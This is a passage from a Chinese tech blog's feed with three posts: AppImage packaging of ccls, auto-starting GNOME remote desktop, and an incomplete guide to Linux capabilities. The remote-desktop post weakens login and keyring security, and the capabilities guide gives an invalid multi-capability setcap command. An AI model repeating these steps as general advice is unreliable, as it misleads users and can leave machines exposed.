&lt;p&gt;接着 appimage-builder 会用 &lt;code&gt;strace&lt;&#x2F;code&gt; 运行目标程序，分析它打开了哪些共享库文件；然后用包管理工具分析共享库属于哪个软件包。结束后就会生成 recipe 文件 &lt;code&gt;AppImageBuilder.yml&lt;&#x2F;code&gt;。它的结构如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;version: 1
AppDir:
  path: &amp;#x2F;path&amp;#x2F;to&amp;#x2F;AppDir
  app_info: # 应用基础信息
    id: tech.luyuhuang.hello
    name: hello
    icon: hello
    version: latest
    exec: usr&amp;#x2F;bin&amp;#x2F;hello
    exec_args: $@
  apt:
    arch:
    - amd64
    allow_unauthenticated: true
    sources: # 用到的软件源
    - sourceline: deb http:&amp;#x2F;&amp;#x2F;archive.ubuntu.com&amp;#x2F;ubuntu&amp;#x2F; focal main restricted
    - sourceline: deb http:&amp;#x2F;&amp;#x2F;archive.ubuntu.com&amp;#x2F;ubuntu&amp;#x2F; focal-updates main restricted
    - ...
    include: # 用到的软件包
    - libc6:amd64
  files:
    include: [] # 额外需要包含到 AppDir 的文件
    exclude: # 需要排除的文件
    - usr&amp;#x2F;share&amp;#x2F;man
    - usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;*&amp;#x2F;README.*
    - ...
  test: # 测试配置
    fedora-30:
      image: appimagecrafters&amp;#x2F;tests-env:fedora-30
      command: .&amp;#x2F;AppRun
    debian-stable:
      ...
AppImage:
  arch: x86_64
  update-information: guess
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们通常需要关注这些配置：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;AppDir.apt&lt;&#x2F;code&gt; 软件包相关信息，由 generate 命令探测出，通常不用自行修改。&lt;code&gt;include&lt;&#x2F;code&gt; 为要用到的软件包，&lt;code&gt;sources&lt;&#x2F;code&gt; 是这些软件包相关的软件源。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;AppDir.files&lt;&#x2F;code&gt; 控制要包含哪些文件。支持使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.python.org&#x2F;3.6&#x2F;library&#x2F;glob.html#module-glob&quot;&gt;Glob 表达式&lt;&#x2F;a&gt;（如 &lt;code&gt;*&lt;&#x2F;code&gt; 和 &lt;code&gt;**&lt;&#x2F;code&gt; 通配符）匹配文件路径。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;include&lt;&#x2F;code&gt; 为需要包含到 AppDir 的文件的绝对路径列表，这些文件会被复制到 AppDir 中的对应位置。例如 &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;bash&lt;&#x2F;code&gt; 对应 &lt;code&gt;$APPDIR&#x2F;usr&#x2F;bin&#x2F;bash&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;exclude&lt;&#x2F;code&gt; 则为需要在 AppDir 中排除的文件路径列表，路径相对于 AppDir。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;AppDir.test&lt;&#x2F;code&gt; 为测试环境。appimage-builder 会拉取其中指定的 Docker 镜像，并在其中测试 AppDir。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;除这些自动生成的配置外，还有很实用的运行时配置。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;AppDir:
  runtime:
    env:
      LD_PRELOAD: &amp;#x27;${APPDIR}&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;libjemalloc.so&amp;#x27;
    path_mappings:
        - &amp;#x2F;bin&amp;#x2F;bash:$APPDIR&amp;#x2F;bin&amp;#x2F;bash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;env&lt;&#x2F;code&gt; 指定运行时的环境变量。appimage-builder 自带的 AppRun 程序还支持一些特殊的环境变量&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;APPDIR_EXEC_ARGS&lt;&#x2F;code&gt; 程序的命令行参数，默认为 &lt;code&gt;$@&lt;&#x2F;code&gt;，即原样透传传给 AppRun 的参数。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;APPDIR_LIBRARY_PATH&lt;&#x2F;code&gt; 共享库搜索路径，效果等同于 &lt;code&gt;LD_LIBRARY_PATH&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;path_mappings&lt;&#x2F;code&gt; 设置路径映射。支持将一个绝对路径映射到 AppDir 中的路径，格式为 &lt;code&gt;源路径:目标路径&lt;&#x2F;code&gt;。例如 &lt;code&gt;&#x2F;bin&#x2F;bash:$APPDIR&#x2F;bin&#x2F;bash&lt;&#x2F;code&gt;，每当程序访问 &lt;code&gt;&#x2F;bin&#x2F;bash&lt;&#x2F;code&gt; 都会实际访问 AppDir 中的 &lt;code&gt;bin&#x2F;bash&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;准备好 recipe 文件后执行 &lt;code&gt;appimage-builder --recipe AppImageBuilder.yml&lt;&#x2F;code&gt; 即可生成 AppImage。也可以加上 &lt;code&gt;--skip-tests&lt;&#x2F;code&gt; 跳过测试。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-zhan-zhi-zuo-ccls-de-appimage&quot;&gt;实战：制作 ccls 的 AppImage&lt;&#x2F;h2&gt;
&lt;p&gt;ccls 是一个 C++ 的 language server。我想在公司的开发环境用上 ccls，但是 ccls 依赖的工具链和运行时环境都比较新，无法直接在公司的开发环境上编译、运行。因此我准备在 Ubuntu 20.04 下编译 ccls 并制作成 AppImage，让这个老系统也能用上新软件。&lt;&#x2F;p&gt;
&lt;p&gt;执行如下命令构建 ccls:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;sudo apt-get install clang libclang-10-dev # 安装依赖
git clone --depth=1 --branch=0.20220729 --recursive https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;MaskRay&amp;#x2F;ccls # 获取 ccls, 版本 0.20220729
cd ccls
cmake -H. -BRelease -DCMAKE_BUILD_TYPE=Release \
                    -DCMAKE_PREFIX_PATH=&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;llvm-10 \
                    -DLLVM_INCLUDE_DIR=&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;llvm-10&amp;#x2F;include \
                    -DLLVM_BUILD_INCLUDE_DIR=&amp;#x2F;usr&amp;#x2F;include&amp;#x2F;llvm-10&amp;#x2F; \
                    -DCMAKE_INSTALL_PREFIX=&amp;#x2F;usr # 设置 prefix 为 &amp;#x2F;usr
cd Release
make -j8
make install DESTDIR=AppDir # 安装到 .&amp;#x2F;AppDir
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样我们就有了基础 AppDir:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;AppDir
└── usr
    └── bin
        └── ccls
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接着我们执行 &lt;code&gt;appimage-builder --generate&lt;&#x2F;code&gt; 生成 recipe:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ appimage-builder --generate
INFO:Generator:Searching AppDir
? ID [Eg: com.example.app]: com.github.MaskRay.ccls
? Application Name: ccls
? Icon: ccls
? Executable path relative to AppDir [usr&amp;#x2F;bin&amp;#x2F;app]: usr&amp;#x2F;bin&amp;#x2F;ccls
? Arguments [Default: $@]: $@
? Version [Eg: 1.0.0]: latest
? Update Information [Default: guess]: guess
? Architecture: x86_64
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;根据 ccls 的文档（和我的测试结果），ccls 运行时要访问 clang 的 lib 目录。我的 clang 是用 apt 安装的，路径在 &lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;llvm-10&#x2F;lib&#x2F;clang&#x2F;10.0.0&lt;&#x2F;code&gt;。我们需要把这个路径打包进 AppDir，并且将其映射到 AppDir 内。我们修改 &lt;code&gt;AppImageBuilder.yml&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;AppDir:
  files:
    include:
    - &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;llvm-10&amp;#x2F;lib&amp;#x2F;clang&amp;#x2F;10.0.0&amp;#x2F;** # 把这个路径下的全部文件包含进去
  runtime:
    path_mappings:
      - &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;llvm-10&amp;#x2F;lib&amp;#x2F;clang&amp;#x2F;10.0.0:$APPDIR&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;llvm-10&amp;#x2F;lib&amp;#x2F;clang&amp;#x2F;10.0.0 # 映射到 AppDir 内
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后我们还要创建个图标。虽然是命令行程序，但是 AppImage 要求每个应用都要有个图标，所以没办法。这里我们就 touch 一个空文件就好：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;mkdir -p AppDir&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;icons
touch AppDir&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;icons&amp;#x2F;ccls.svg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后执行 &lt;code&gt;appimage-builder --recipe AppImageBuilder.yml&lt;&#x2F;code&gt; 生成 AppImage。大功告成！&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ .&amp;#x2F;ccls-latest-x86_64.AppImage --version
ccls version 0.20220729-0-g7445891
clang version 10.0.0-4ubuntu1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 的软件管理方式虽然节省了磁盘和内存空间，但是也增加了软件安装的难度。导致 Linux 的软件要么进入发行版使用包管理器安装；要么发布源码，编译安装。前者虽然安装方便，但是版本受限，不能随意升级；后者需要准备开发环境，安装较为麻烦。当编译依赖的工具链不满足要求时，软件安装会变得很棘手。&lt;&#x2F;p&gt;
&lt;p&gt;针对这个问题，Linux 有几种解决方案，例如 snap、容器，以及本文介绍的 AppImage 等。它们的解决思路其实差不多，都是将软件与其依赖一起打成包发布。它们各有优劣，对于 AppImage 来说，优点就是使用方便，用户不需要安装任何环境，下载 AppImage 即可执行；缺点是依赖于 AppRun 的前序处理，兼容性可能不如 snap 和容器。个人感觉 Linux 桌面系统要想推广，软件安装还是要走 Windows 和 macOS 这种形态，即打包软件依赖，降低安装门槛，提高兼容性。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GNOME Wayland 远程桌面</title>
        <published>2025-02-25T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/gnome-wayland-远程桌面/"/>
        <id>https://vercel.juzhong.asia/obsidian/gnome-wayland-远程桌面/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/gnome-wayland-远程桌面/">&lt;h1 id=&quot;gnome-wayland-yuan-cheng-zhuo-mian&quot;&gt;GNOME Wayland 远程桌面&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.202016.xyz&#x2F;2024&#x2F;09&#x2F;02&#x2F;gnome-wayland-remote-desktop.html&quot;&gt;GNOME Wayland 远程桌面&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这段时间在折腾Waydroid on RISC-V，需要用到GNOME桌面，因而有了远程控制的需求。&lt;&#x2F;p&gt;
&lt;p&gt;我还没折腾过wayland下的远程桌面，不过好在GNOME有个开箱即用的远程桌面（设置-共享打开就行），RDP连接。但是问题来了：机子扔在家，我在学校，gnome远程桌面需要登录之后打开共享设置才能用，家里人人工协助不太现实。&lt;&#x2F;p&gt;
&lt;p&gt;因此折腾的目标就是：&lt;strong&gt;无感地开机自启GNOME的远程桌面功能&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;注：本文可能具有时效性。折腾的时间是&lt;strong&gt;2024年8月&lt;&#x2F;strong&gt;，系统及GNOME版本&lt;strong&gt;Ubuntu 23.04（RISC-V），Gnome 45.2&lt;&#x2F;strong&gt;，如果您的版本特别是GNOME版本与本文差异较大（发布时间较早&#x2F;较晚的版本），建议停止阅读本文。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;di-yi-bu-an-zhuang-allow-locked-remote-desktopkuo-zhan&quot;&gt;第一步：安装Allow Locked Remote Desktop扩展&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;extensions.gnome.org&#x2F;extension&#x2F;4338&#x2F;allow-locked-remote-desktop&#x2F;&quot;&gt;Gnome商店链接在这&lt;&#x2F;a&gt;，浏览器安装GNOME集成后应该可以直接安装。但是我的机子上浏览器实在太卡，所以我是通过Gnome Extension Manager搜索安装的。在软件里启用这个扩展就行，重启自动生效。但是此时只是完成了一半的工作，免去了每次重启后需要重复打开共享设置的麻烦，也是直接搜索互联网得到的直接的答案。&lt;&#x2F;p&gt;
&lt;p&gt;但此时存在一个问题：重启之后需要登录一次之后才会自动登录。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install gnome-shell-extension-manager
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;di-er-bu-kai-qi-zi-dong-deng-lu&quot;&gt;第二步： 开启自动登录&lt;&#x2F;h3&gt;
&lt;p&gt;那么很自然的一个想法是，我直接让他自动登录不就完了。参照&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;help.gnome.org&#x2F;admin&#x2F;system-admin-guide&#x2F;stable&#x2F;login-automatic.html.en&quot;&gt;官方教程&lt;&#x2F;a&gt;，修改&lt;code&gt;&#x2F;etc&#x2F;gdm&#x2F;custom.conf&lt;&#x2F;code&gt;中&lt;code&gt; [daemon]&lt;&#x2F;code&gt;这一节：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[daemon]
AutomaticLoginEnable=True
AutomaticLogin=your-username
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是这么做了之后，发现远程桌面确实能够自动启动了，但是连接不了哇，客户端会报错。&lt;&#x2F;p&gt;
&lt;p&gt;利用远程桌面的命令行管理工具：&lt;code&gt;grdctl status&lt;&#x2F;code&gt;，我们发现此时密码为None（未设置），但是在SSH下尝试通过grdctl设置密码时grdctl长时间不返回，这就有点奇怪了。&lt;&#x2F;p&gt;
&lt;p&gt;后来我猜密码可能是存储在GNOME的钥匙环里，为了验证猜想，我根据&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;qiita.com&#x2F;QiitaYkuyo&#x2F;items&#x2F;c8e700da451e894e5d53&quot;&gt;这个教程&lt;&#x2F;a&gt;，尝试直接在SSH里解锁钥匙环。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;password=&amp;quot;your-pwd&amp;quot;
killall -q -u &amp;quot;$(whoami)&amp;quot; gnome-keyring-daemon
export $( echo -n &amp;quot;$password&amp;quot; | gnome-keyring-daemon --daemonize --login ) &amp;gt;&amp;#x2F;dev&amp;#x2F;null 2&amp;gt;&amp;amp;1
grdctl rdp set-credentials &amp;quot;test_user&amp;quot; &amp;quot;test_password&amp;quot;
grdctl status
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再透过&lt;code&gt;grdctl&lt;&#x2F;code&gt;设置密码，&lt;code&gt;grdctl&lt;&#x2F;code&gt;成功执行，之后重启服务&lt;code&gt;systemctl --user restart gnome-remote-desktop&lt;&#x2F;code&gt;，就可以登录了。&lt;&#x2F;p&gt;
&lt;p&gt;但是此时还是不太完美，每次重启都要这么哗啦啦整一下有点麻烦，于是有了一个思路：那我让钥匙环自动解锁，gnome-remote-desktop启动就能读出密码了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;di-san-bu-yao-chi-huan-zi-dong-jie-suo&quot;&gt;第三步：钥匙环自动解锁&lt;&#x2F;h3&gt;
&lt;p&gt;（这个标题大雾）其实所谓自动解锁，就是没有锁...把钥匙环的密码清空就行，钥匙环有好多个环(ring)，我们只需要解锁&lt;code&gt;Login&lt;&#x2F;code&gt;这个就行。&lt;&#x2F;p&gt;
&lt;p&gt;安装&lt;code&gt;seahorse&lt;&#x2F;code&gt;这个工具，在桌面中启动，右键左侧菜单栏的&lt;code&gt;Login&lt;&#x2F;code&gt;然后选择右键菜单里&lt;code&gt;Change Password&lt;&#x2F;code&gt;选项，密码不填直接保存就行。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install seahorse
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;到这里就大功告成了，远程桌面能够无感的自动启动，也算完美了。&lt;&#x2F;p&gt;
&lt;p&gt;懒得配图了，纯文字可能对Linux入门爱好者不太友好，还请见谅！&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux Capabilities命令实战指南 安全赋予程序权限详解</title>
        <published>2025-02-13T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-capabilities命令实战指南-安全赋予程序权限详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-capabilities命令实战指南-安全赋予程序权限详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-capabilities命令实战指南-安全赋予程序权限详解/">&lt;h1 id=&quot;linux-capabilitiesming-ling-shi-zhan-zhi-nan-an-quan-fu-yu-cheng-xu-quan-xian-xiang-jie&quot;&gt;Linux Capabilities命令实战指南 安全赋予程序权限详解&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-yin-yan&quot;&gt;1. 引言&lt;&#x2F;h2&gt;
&lt;p&gt;在现代 Linux 系统中，传统的 root 权限赋予了过于广泛的能力，这对于许多只需要特定权限的程序来说是不必要的。Linux Capabilities 提供了一种更为细粒度的权限控制方法，允许系统管理员给予程序仅有的必要权限，而不是完全的 root 权限。这种方法增强了系统的安全性，因为它减少了程序可能被滥用时的潜在影响。本文将详细介绍如何使用 Linux Capabilities 命令来安全地赋予程序权限。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-linux-capabilities-gai-shu&quot;&gt;2. Linux Capabilities 概述&lt;&#x2F;h2&gt;
&lt;p&gt;Linux Capabilities 是 Linux 内核的一个特性，它允许管理员给予程序有限的权限，而不是完全的 root 权限。这种机制允许程序执行特定的操作，而无需提升整个进程的权限。Capabilities 被设计为一种更安全的替代方法，用以替代传统的 setuid（设置用户 ID）和 setgid（设置组 ID）权限，这两种方法在历史上导致了多种安全漏洞。&lt;&#x2F;p&gt;
&lt;p&gt;Linux Capabilities 分为两种类型：有效 capabilities 和允许 capabilities。有效 capabilities 决定了程序当前可以执行的操作，而允许 capabilities 则定义了程序可以拥有的权限集合。此外，还有继承 capabilities，它决定了程序在创建子进程时可以传递的权限。&lt;&#x2F;p&gt;
&lt;p&gt;内核支持多种 capabilities，每种都对应于不同的权限，例如，CAP_CHOWN 允许改变文件的所有者，CAP_KILL 允许发送信号给任何进程等。&lt;&#x2F;p&gt;
&lt;p&gt;在接下来的部分中，我们将深入了解如何查看和管理程序的 capabilities。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-cha-kan-cheng-xu-de-capabilities&quot;&gt;3.1 查看程序的 Capabilities&lt;&#x2F;h3&gt;
&lt;p&gt;要查看程序的 capabilities，可以使用 &lt;code&gt;getcap&lt;&#x2F;code&gt; 命令。这个命令可以显示文件的安全扩展属性，包括其 capabilities。以下是一个查看程序 capabilities 的例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;getcap &amp;#x2F;path&amp;#x2F;to&amp;#x2F;binary
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这条命令将输出类似以下内容的信息，显示了程序的有效 capabilities 和允许 capabilities：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;path&amp;#x2F;to&amp;#x2F;binary = cap_chown+ep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这里，&lt;code&gt;cap_chown&lt;&#x2F;code&gt; 表示改变文件所有者的能力，&lt;code&gt;+ep&lt;&#x2F;code&gt; 表示这个能力在执行时是有效的（Effective）并且被允许（Permitted）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-xiu-gai-cheng-xu-de-capabilities&quot;&gt;3.2 修改程序的 Capabilities&lt;&#x2F;h3&gt;
&lt;p&gt;要修改程序的 capabilities，可以使用 &lt;code&gt;setcap&lt;&#x2F;code&gt; 命令。这个命令可以设置文件的安全扩展属性。以下是一个给程序添加 capabilities 的例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;setcap cap_chown+ep &amp;#x2F;path&amp;#x2F;to&amp;#x2F;binary
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这条命令会给 &lt;code&gt;&#x2F;path&#x2F;to&#x2F;binary&lt;&#x2F;code&gt; 程序添加改变文件所有者的能力。&lt;&#x2F;p&gt;
&lt;p&gt;如果你想移除一个 capability，可以使用以下命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;setcap cap_chown-ep &amp;#x2F;path&amp;#x2F;to&amp;#x2F;binary
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这将移除程序改变文件所有者的能力。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-3-capabilities-de-chi-jiu-xing&quot;&gt;3.3 Capabilities 的持久性&lt;&#x2F;h3&gt;
&lt;p&gt;使用 &lt;code&gt;setcap&lt;&#x2F;code&gt; 设置的 capabilities 是持久性的，意味着即使系统重启，这些权限也会保留。这对于确保程序在每次运行时都具有正确的权限非常有用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-4-zhu-yi-shi-xiang&quot;&gt;3.4 注意事项&lt;&#x2F;h3&gt;
&lt;p&gt;在使用 capabilities 时，需要注意以下几点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;只有 root 用户或者具有适当权限的用户才能设置文件的 capabilities。&lt;&#x2F;li&gt;
&lt;li&gt;在设置 capabilities 之前，确保你了解每个 capability 的具体作用和潜在的安全影响。&lt;&#x2F;li&gt;
&lt;li&gt;capabilities 的设置可能会受到系统配置和策略的限制。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;4-wei-cheng-xu-she-zhi-capabilities&quot;&gt;4. 为程序设置 Capabilities&lt;&#x2F;h2&gt;
&lt;p&gt;为程序设置 Capabilities 是提高系统安全性的关键步骤。通过精确控制程序可以执行的操作，管理员可以最小化潜在的攻击面。以下是具体的步骤和示例，展示如何为程序设置 Capabilities。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-shi-yong-setcap-ming-ling&quot;&gt;4.1 使用 setcap 命令&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;setcap&lt;&#x2F;code&gt; 命令是 Linux 系统中用于设置文件 capabilities 的工具。在设置之前，你需要知道希望程序拥有哪些 capabilities。&lt;&#x2F;p&gt;
&lt;p&gt;以下是一个基本的 &lt;code&gt;setcap&lt;&#x2F;code&gt; 命令语法：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;setcap cap_name+ep &amp;#x2F;path&amp;#x2F;to&amp;#x2F;binary
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里的 &lt;code&gt;cap_name&lt;&#x2F;code&gt; 是你想要赋予程序的 capability 名称，&lt;code&gt;+ep&lt;&#x2F;code&gt; 表示你希望这个 capability 在执行时是有效的（Effective）并且被允许（Permitted）。&lt;&#x2F;p&gt;
&lt;p&gt;例如，如果你想给 &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;myprogram&lt;&#x2F;code&gt; 程序赋予文件所有者修改权限的能力，你可以使用以下命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo setcap cap_chown+ep &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;myprogram
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-2-zhi-ding-duo-ge-capabilities&quot;&gt;4.2 指定多个 Capabilities&lt;&#x2F;h3&gt;
&lt;p&gt;如果你想要给程序设置多个 capabilities，可以在一条命令中指定它们，如下所示：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo setcap cap_chown+ep cap_fOWNER+ep &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;myprogram
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个命令会给 &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;myprogram&lt;&#x2F;code&gt; 程序同时赋予修改文件所有者和强制文件所有者的能力。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-3-yi-chu-capabilities&quot;&gt;4.3 移除 Capabilities&lt;&#x2F;h3&gt;
&lt;p&gt;如果你想要移除程序的某个 capability，可以使用 &lt;code&gt;-&lt;&#x2F;code&gt; 代替 &lt;code&gt;+&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo setcap cap_chown-ep &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;myprogram
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这条命令会移除 &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;myprogram&lt;&#x2F;code&gt; 程序的文件所有者修改权限。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-4-cha-kan-dang-qian-she-zhi-de-capabilities&quot;&gt;4.4 查看当前设置的 Capabilities&lt;&#x2F;h3&gt;
&lt;p&gt;在设置 capabilities 之后，你可以使用 &lt;code&gt;getcap&lt;&#x2F;code&gt; 命令来验证它们是否按预期设置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;getcap &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;myprogram
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这将显示 &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;myprogram&lt;&#x2F;code&gt; 程序的当前 capabilities 设置。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-5-zhu-yi-shi-xiang&quot;&gt;4.5 注意事项&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;在设置 capabilities 时，务必确保你理解每个 capability 的影响。&lt;&#x2F;li&gt;
&lt;li&gt;只有具有适当权限的用户（通常是 root）才能设置或修改 capabilities。&lt;&#x2F;li&gt;
